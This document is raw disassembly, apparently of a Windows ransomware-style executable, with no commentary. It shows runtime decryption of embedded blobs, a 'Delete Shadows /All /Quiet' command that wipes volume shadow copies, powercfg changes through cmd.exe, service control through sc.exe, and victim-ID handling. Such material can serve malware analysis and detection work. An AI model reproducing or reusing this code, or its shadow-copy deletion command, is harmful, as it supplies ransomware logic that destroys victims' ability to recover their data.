lea r8, [0x140285350]
lea rcx, [rsp + 0x100]
lea rdx, [rsp + 0x70]
call fcn.140013e40
lea rdx, str.__start_auto
lea rcx, [rsp + 0x100]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x260], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x250], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x250], 1
je 0x14000b950
mov rdx, qword [rsp + 0x260]
jmp 0x14000b958
lea rcx, [rsp + 0xf92]
movdqu xmmword [rsp + 0x28], xmm0
mov byte [rsp + 0x20], 0
lea rdx, str.Delete_Shadows__All__Quiet
mov r8b, 1
xor r9d, r9d
call fcn.140057a40
test byte [rsp + 0xf90], 1
je 0x14000b4fd
mov rcx, qword [rsp + 0xfa0]
call fcn.14006fbd0
test byte [rsp + 0x590], 1
je 0x14000b514
mov rcx, qword [rsp + 0x5a0]
call fcn.14006fbd0
pxor xmm6, xmm6
movdqu xmmword [rsp + 0x28], xmm6
mov byte [rsp + 0x20], 0
lea rcx, str.c:windows_system32cmd.exe
lea rdx, str._c_powercfg__setactive_8c5e7fda_e8bf_4a96_9a85_a6e23a8c635c
mov r8b, 1
xor r9d, r9d
call fcn.140057a40
movdqa xmmword [rsp + 0x170], xmm6
mov qword [rsp + 0x180], 0
movdqa xmmword [rsp + 0x210], xmm6
mov qword [rsp + 0x220], 0
movdqa xmmword [rsp + 0x230], xmm6
mov qword [rsp + 0x240], 0
movdqa xmmword [rsp + 0x7f0], xmm6
mov qword [rsp + 0x800], 0
movdqa xmmword [rsp + 0xa00], xmm6
mov qword [rsp + 0xa10], 0
movdqa xmmword [rsp + 0x9e0], xmm6
mov qword [rsp + 0x9f0], 0
movabs rax, 0xbe67afef63dbd2f2
mov qword [rsp + 0xf90], rax
mov dword [rsp + 0xf98], 0x3a166b58
lea rcx, [rsp + 0x7f0]
lea rdx, [rsp + 0xf90]
mov r8d, 0xc
call fcn.140071520
movups xmm0, xmmword [0x1401f6f8c]
movaps xmmword [rsp + 0xfa0], xmm0
movdqu xmm0, xmmword [0x1401f6f7c]
movdqa xmmword [rsp + 0xf90], xmm0
lea rcx, [rsp + 0x230]
lea rdx, [rsp + 0xf90]
mov r8d, 0x20
call fcn.140071520
lea rdx, [0x1401f6f9c]
lea rsi, [rsp + 0xf90]
mov r8d, 0x1b9
mov rcx, rsi
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0xa00]
mov r8d, 0x1b9
mov rdx, rsi
call fcn.140071520
movups xmm0, xmmword [0x1401f7175]
movaps xmmword [rsp + 0xfb0], xmm0
movups xmm0, xmmword [0x1401f7165]
movaps xmmword [rsp + 0xfa0], xmm0
movdqu xmm0, xmmword [0x1401f7155]
movdqa xmmword [rsp + 0xf90], xmm0
lea rcx, [rsp + 0x9e0]
lea rdx, [rsp + 0xf90]
mov r8d, 0x30
call fcn.140071520
lea rdx, [0x1401f7185]
lea rsi, [rsp + 0xf90]
mov r8d, 0x14ca
mov rcx, rsi
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0x170]
mov r8d, 0x14ca
mov rdx, rsi
call fcn.140071520
movups xmm0, xmmword [0x1401f869b]
movups xmmword [rsp + 0xfdc], xmm0
movups xmm0, xmmword [0x1401f868f]
movaps xmmword [rsp + 0xfd0], xmm0
movups xmm0, xmmword [0x1401f867f]
movaps xmmword [rsp + 0xfc0], xmm0
movups xmm0, xmmword [0x1401f866f]
movaps xmmword [rsp + 0xfb0], xmm0
movups xmm0, xmmword [0x1401f865f]
movaps xmmword [rsp + 0xfa0], xmm0
movdqu xmm0, xmmword [str.F0_14_A2_7A_06_95_CE_59_67_6T_E0_78_67_74_41_Y7_69_FV_C4_0Y_FC_9Y_86_2T_AA_EC_09_E9_C2_99_4TDeFaUlTID]
movdqa xmmword [rsp + 0xf90], xmm0
lea rcx, [rsp + 0x210]
lea rsi, [rsp + 0xf90]
mov r8d, 0x5c
mov rdx, rsi
call fcn.140071520
mov word [0x140288448], 0x14a
lea rcx, [rsp + 0xcc8]
lea rdx, [rsp + 0x230]
call fcn.140071170
lea rcx, [rsp + 0xcb0]
lea rdx, [rsp + 0x7f0]
call fcn.140071170
lea r9, [0x140288450]
lea rcx, [rsp + 0xcc8]
lea rdx, [rsp + 0xcb0]
lea r8, [rsp + 0xa00]
call fcn.140019280
test byte [rsp + 0xcb0], 1
je 0x14000b7c5
mov rcx, qword [rsp + 0xcc0]
call fcn.14006fbd0
test byte [rsp + 0xcc8], 1
je 0x14000b7dc
mov rcx, qword [rsp + 0xcd8]
call fcn.14006fbd0
lea rcx, [rsp + 0xc98]
lea rdx, [rsp + 0x230]
call fcn.140071170
lea rcx, [rsp + 0xc80]
lea rdx, [rsp + 0x7f0]
call fcn.140071170
lea r9, [0x140288398]
lea rcx, [rsp + 0xc98]
lea rdx, [rsp + 0xc80]
lea r8, [rsp + 0x9e0]
call fcn.140019280
test byte [rsp + 0xc80], 1
je 0x14000b841
mov rcx, qword [rsp + 0xc90]
call fcn.14006fbd0
test byte [rsp + 0xc98], 1
je 0x14000b858
mov rcx, qword [rsp + 0xca8]
call fcn.14006fbd0
lea rcx, [rsp + 0xc68]
lea rdx, [rsp + 0x230]
call fcn.140071170
lea rcx, [rsp + 0xc50]
lea rdx, [rsp + 0x7f0]
call fcn.140071170
lea r9, [0x140288420]
lea rcx, [rsp + 0xc68]
lea rdx, [rsp + 0xc50]
lea r8, [rsp + 0x170]
call fcn.140019280
test byte [rsp + 0xc50], 1
je 0x14000b8bd
mov rcx, qword [rsp + 0xc60]
call fcn.14006fbd0
test byte [rsp + 0xc68], 1
je 0x14000b8d4
mov rcx, qword [rsp + 0xc78]
call fcn.14006fbd0
mov qword [rsp + 0x20], rsi
lea rdx, [0x140288278]
lea rcx, [rsp + 0x900]
mov r9d, 8
xor r8d, r8d
call fcn.140071980
lea rsi, [0x140288420]
lea rdx, [0x1401f86ab]
mov rcx, rsi
xor r8d, r8d
call fcn.140014200
lea r9, [rsp + 0x900]
mov r8d, 9
mov rcx, rsi
mov rdx, rax
call fcn.140019390
movzx r8d, byte [rsp + 0x900]
test r8b, 1
je 0x14000bc20
mov rdx, qword [rsp + 0x910]
mov r8, qword [rsp + 0x908]
jmp 0x14000bc2b
lea rdx, [rsp + 0x252]
movdqu xmmword [rsp + 0x28], xmm0
mov byte [rsp + 0x20], 1
mov rcx, rsi
mov r8b, 1
xor r9d, r9d
call fcn.140057a40
test byte [rsp + 0x250], 1
jne 0x14000ba6a
test byte [rsp + 0x100], 1
jne 0x14000ba85
test byte [rsp + 0x70], 1
jne 0x14000ba9d
test byte [rsp + 0x410], 1
jne 0x14000bab8
test byte [rsp + 0x1d0], 1
jne 0x14000bad3
test byte [rsp + 0xf90], 1
jne 0x14000baee
test byte [rsp + 0x590], 1
je 0x14000b9d9
mov rcx, qword [rsp + 0x5a0]
call fcn.14006fbd0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.DLL_Sleep]
lea rax, [rsp + 0x250]
mov qword [rsp + 0x20], rax
lea rdx, [0x140288308]
lea rcx, [rsp + 0x590]
mov r8d, 4
mov r9, 0xffffffffffffffff
call fcn.140072820
lea rdx, str.windows_system32_sc.exe
lea rcx, [rsp + 0x590]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xfa0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xf90], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xf90], 1
je 0x14000bb0e
mov rsi, qword [rsp + 0xfa0]
jmp 0x14000bb16
mov rcx, qword [rsp + 0x260]
call fcn.14006fbd0
test byte [rsp + 0x100], 1
je 0x14000b98d
mov rcx, qword [rsp + 0x110]
call fcn.14006fbd0
test byte [rsp + 0x70], 1
je 0x14000b998
mov rcx, qword [rsp + 0x80]
call fcn.14006fbd0
test byte [rsp + 0x410], 1
je 0x14000b9a6
mov rcx, qword [rsp + 0x420]
call fcn.14006fbd0
test byte [rsp + 0x1d0], 1
je 0x14000b9b4
mov rcx, qword [rsp + 0x1e0]
call fcn.14006fbd0
test byte [rsp + 0xf90], 1
je 0x14000b9c2
mov rcx, qword [rsp + 0xfa0]
call fcn.14006fbd0
test byte [rsp + 0x590], 1
jne 0x14000b9cc
jmp 0x14000b9d9
lea rsi, [rsp + 0xf92]
lea rdx, str.start
lea rcx, [rsp + 0x100]
call fcn.140012f70
lea rdx, str.defser
lea rcx, [rsp + 0x100]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x260], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x250], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x250], 1
je 0x14000bb7b
mov rdx, qword [rsp + 0x260]
jmp 0x14000bb83
lea rdx, [rsp + 0x252]
movdqu xmmword [rsp + 0x28], xmm0
mov byte [rsp + 0x20], 0
mov rcx, rsi
mov r8b, 1
xor r9d, r9d
call fcn.140057a40
test byte [rsp + 0x250], 1
jne 0x14000bbd9
test byte [rsp + 0x100], 1
jne 0x14000bbf0
test byte [rsp + 0xf90], 1
jne 0x14000bc07
test byte [rsp + 0x590], 1
je 0x14000bbd1
mov rcx, qword [rsp + 0x5a0]
call fcn.14006fbd0
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
mov rcx, qword [rsp + 0x260]
call fcn.14006fbd0
test byte [rsp + 0x100], 1
je 0x14000bbb0
mov rcx, qword [rsp + 0x110]
call fcn.14006fbd0
test byte [rsp + 0xf90], 1
je 0x14000bbba
mov rcx, qword [rsp + 0xfa0]
call fcn.14006fbd0
test byte [rsp + 0x590], 1
jne 0x14000bbc4
jmp 0x14000bbd1
shr r8, 1
lea rdx, [rsp + 0x901]
add r8, rdx
lea rcx, [rsp + 0xf40]
call fcn.140013b10
lea rdx, str..id_
lea rcx, [rsp + 0xf90]
lea r8, [rsp + 0xf40]
call fcn.140013d30
lea rdx, [0x1401f86c0]
lea rcx, [rsp + 0xf90]
call fcn.140072e90
movzx esi, byte [rax]
movzx edi, byte [rax + 1]
movzx ebp, word [rax + 2]
mov ecx, dword [rax + 0xc]
mov dword [rsp + 0x598], ecx
mov rcx, qword [rax + 4]
mov qword [rsp + 0x590], rcx
mov r14, qword [rax + 0x10]
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [0x1402851e8], 1
je 0x14000bcb5
mov rcx, qword [0x1402851f8]
call fcn.14006fbd0
mov byte [0x1402851e8], sil
mov byte [0x1402851e9], dil
mov word [0x1402851ea], bp
mov rax, qword [rsp + 0x590]
mov qword [0x1402851ec], rax
mov eax, dword [rsp + 0x598]
mov dword [0x1402851f4], eax
mov qword [0x1402851f8], r14
test byte [rsp + 0xf90], 1
je 0x14000bd04
mov rcx, qword [rsp + 0xfa0]
call fcn.14006fbd0
lea rdx, [0x1401f86c4]
lea rcx, [rsp + 0xf90]
lea r8, [rsp + 0xf40]
call fcn.140013d30
lea rdx, [0x1401f86c0]
lea rcx, [rsp + 0xf90]
call fcn.140072e90
movzx esi, byte [rax]
movzx edi, byte [rax + 1]
movzx ebp, word [rax + 2]
mov ecx, dword [rax + 0xc]
mov dword [rsp + 0x598], ecx
mov rcx, qword [rax + 4]
mov qword [rsp + 0x590], rcx
mov r14, qword [rax + 0x10]
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [0x1402851d0], 1
je 0x14000bd7e
mov rcx, qword [0x1402851e0]
call fcn.14006fbd0
mov byte [0x1402851d0], sil
mov byte [0x1402851d1], dil
mov word [0x1402851d2], bp
mov rax, qword [rsp + 0x590]
mov qword [0x1402851d4], rax
mov eax, dword [rsp + 0x598]
mov dword [0x1402851dc], eax
mov qword [0x1402851e0], r14
test byte [rsp + 0xf90], 1
je 0x14000bdcd
mov rcx, qword [rsp + 0xfa0]
call fcn.14006fbd0
pxor xmm6, xmm6
movdqa xmmword [rsp + 0x850], xmm6
mov qword [rsp + 0x860], 0
movdqa xmmword [rsp + 0x9c0], xmm6
mov qword [rsp + 0x9d0], 0
lea rcx, [rsp + 0x590]
lea rdx, [rsp + 0x210]
mov r8d, 0x18
call fcn.1400193c0
movdqa xmmword [rsp + 0x3f0], xmm6
mov qword [rsp + 0x400], 0
lea r13, [rsp + 0x3f1]
lea rbp, [rsp + 0x3f2]
lea rdi, [rsp + 0x3f0]
lea r14, [0x1401f86cc]
lea r15, [rsp + 0xf90]
lea rsi, [rsp + 0x9c0]
lea rcx, [rsp + 0x590]
mov rdx, rdi
mov r8b, 0x2c
call fcn.1400194d0
mov rcx, qword [rax]
mov rcx, qword [rcx - 0x18]
test byte [rax + rcx + 0x20], 5
jne 0x14000bf7c
movzx ecx, byte [rsp + 0x3f0]
and cl, 1
mov rax, qword [rsp + 0x400]
mov r8, rax
cmove r8, r13
cmp byte [r8], 0x59
jne 0x14000beb6
mov byte [r8], 0x44
movzx ecx, byte [rsp + 0x3f0]
mov rax, qword [rsp + 0x400]
and cl, 1
test cl, cl
mov rdx, rax
cmove rdx, r13
cmp byte [rdx], 0x54
jne 0x14000beda
mov byte [rdx], 0x42
movzx ecx, byte [rsp + 0x3f0]
mov rax, qword [rsp + 0x400]
and cl, 1
test cl, cl
mov rdx, rax
cmove rdx, r13
cmp byte [rdx], 0x56
jne 0x14000befe
mov byte [rdx], 0x33
movzx ecx, byte [rsp + 0x3f0]
mov rax, qword [rsp + 0x400]
and cl, 1
lea rdx, [rax + 1]
test cl, cl
cmove rdx, rbp
cmp byte [rdx], 0x59
jne 0x14000bf18
mov byte [rdx], 0x44
mov rax, qword [rsp + 0x400]
lea rdx, [rax + 1]
test cl, cl
cmove rdx, rbp
cmp byte [rdx], 0x54
jne 0x14000bf32
mov byte [rdx], 0x42
mov rax, qword [rsp + 0x400]
inc rax
test cl, cl
cmove rax, rbp
cmp byte [rax], 0x56
jne 0x14000bf43
mov byte [rax], 0x33
mov rcx, r15
mov rdx, r14
call fcn.140013020
mov rcx, rdi
mov rdx, rsi
mov r8, r15
call fcn.140019630
test byte [rsp + 0xf90], 1
je 0x14000be5a
lea rcx, [rsp + 0xc38]
lea rdx, [rsp + 0x230]
call fcn.140071170
lea rcx, [rsp + 0xc20]
lea rdx, [rsp + 0x7f0]
call fcn.140071170
lea rcx, [rsp + 0xc38]
lea rdx, [rsp + 0xc20]
lea r8, [rsp + 0x9c0]
lea r9, [rsp + 0x850]
call fcn.140019280
test byte [rsp + 0xc20], 1
je 0x14000bfe2
mov rcx, qword [rsp + 0xc30]
call fcn.14006fbd0
test byte [rsp + 0xc38], 1
je 0x14000bff9
mov rcx, qword [rsp + 0xc48]
call fcn.14006fbd0
movzx r8d, byte [rsp + 0x850]
test r8b, 1
je 0x14000c01a
mov rdx, qword [rsp + 0x860]
mov r8, qword [rsp + 0x858]
jmp 0x14000c025
shr r8, 1
lea rdx, [rsp + 0x851]
add r8, rdx
lea rcx, [0x140289780]
call fcn.140015040
call fcn.140053c00
lea rdx, [0x1400566a0]
lea rcx, [rsp + 0xc18]
call fcn.140019790
mov dword [rsp + 0x588], 0
mov dword [rsp + 0x578], 0
mov qword [rsp + 0x8f8], 0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x830], xmm0
mov qword [rsp + 0x840], 0
movdqa xmmword [rsp + 0x810], xmm0
mov qword [rsp + 0x820], 0
movdqa xmmword [rsp + 0x430], xmm0
mov qword [rsp + 0x440], 0
movdqa xmmword [rsp + 0x3d0], xmm0
mov qword [rsp + 0x3e0], 0
mov byte [rsp + 0xde], 0
movdqa xmmword [rsp + 0x250], xmm0
mov qword [rsp + 0x260], 0
movdqa xmmword [rsp + 0x100], xmm0
mov qword [rsp + 0x110], 0
movdqa xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], 0
movdqa xmmword [rsp + 0x7c0], xmm0
mov qword [rsp + 0x7d0], 0
movabs rax, 0x6e795971f4d95748
mov qword [rsp + 0xf90], rax
mov dword [rsp + 0xf98], 0x9e873132
lea rcx, [rsp + 0x100]
lea rdx, [rsp + 0xf90]
mov r8d, 0xc
call fcn.140071520
movups xmm0, xmmword [0x1401f86de]
movaps xmmword [rsp + 0xfa0], xmm0
movdqu xmm0, xmmword [0x1401f86ce]
movdqa xmmword [rsp + 0xf90], xmm0
lea rcx, [rsp + 0x250]
lea rdx, [rsp + 0xf90]
mov r8d, 0x20
call fcn.140071520
lea rdx, [0x1401f86ee]
lea rsi, [rsp + 0xf90]
mov r8d, 0x228
mov rcx, rsi
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0x70]
mov r8d, 0x228
mov rdx, rsi
call fcn.140071520
movups xmm0, xmmword [0x1401f8936]
movaps xmmword [rsp + 0xfb0], xmm0
movups xmm0, xmmword [0x1401f8926]
movaps xmmword [rsp + 0xfa0], xmm0
movdqu xmm0, xmmword [0x1401f8916]
movdqa xmmword [rsp + 0xf90], xmm0
lea rcx, [rsp + 0x7c0]
lea rdx, [rsp + 0xf90]
mov r8d, 0x30
call fcn.140071520
mov word [0x14028844a], 0x12d
lea rcx, [rsp + 0xc00]
lea rdx, [rsp + 0x250]
call fcn.140071170
lea rcx, [rsp + 0xbe8]
lea rdx, [rsp + 0x100]
call fcn.140071170
lea r9, [0x140288468]
lea rcx, [rsp + 0xc00]
lea rdx, [rsp + 0xbe8]
lea r8, [rsp + 0x70]
call fcn.140019280
test byte [rsp + 0xbe8], 1
je 0x14000c278
mov rcx, qword [rsp + 0xbf8]
call fcn.14006fbd0
test byte [rsp + 0xc00], 1
je 0x14000c28f
mov rcx, qword [rsp + 0xc10]
call fcn.14006fbd0
lea rcx, [rsp + 0xbd0]
lea rdx, [rsp + 0x250]
call fcn.140071170
lea rcx, [rsp + 0xbb8]
lea rdx, [rsp + 0x100]
call fcn.140071170
lea r9, [0x1402883b0]
lea rcx, [rsp + 0xbd0]
lea rdx, [rsp + 0xbb8]
lea rdi, [rsp + 0x7c0]
mov r8, rdi
call fcn.140019280
test byte [rsp + 0xbb8], 1
jne 0x14000c3bb
test byte [rsp + 0xbd0], 1
jne 0x14000c3d6
mov rcx, qword [rsp + 0xbc8]
call fcn.14006fbd0
test byte [rsp + 0xbd0], 1
je 0x14000c2fc
xor ecx, ecx
call sub.msvcrt.dll_exit
mov rsi, rax
call fcn.14006fe10
jmp 0x140012102
mov rdx, qword [rsp + 0x1b8]
lea rcx, [rsp + 0x1b0]
call fcn.140036e00
lea rcx, [rsp + 0x4b0]
call fcn.140013fb0
lea rcx, [rsp + 0x310]
call fcn.140013fb0
mov rcx, rsi
call fcn.14009a110
int3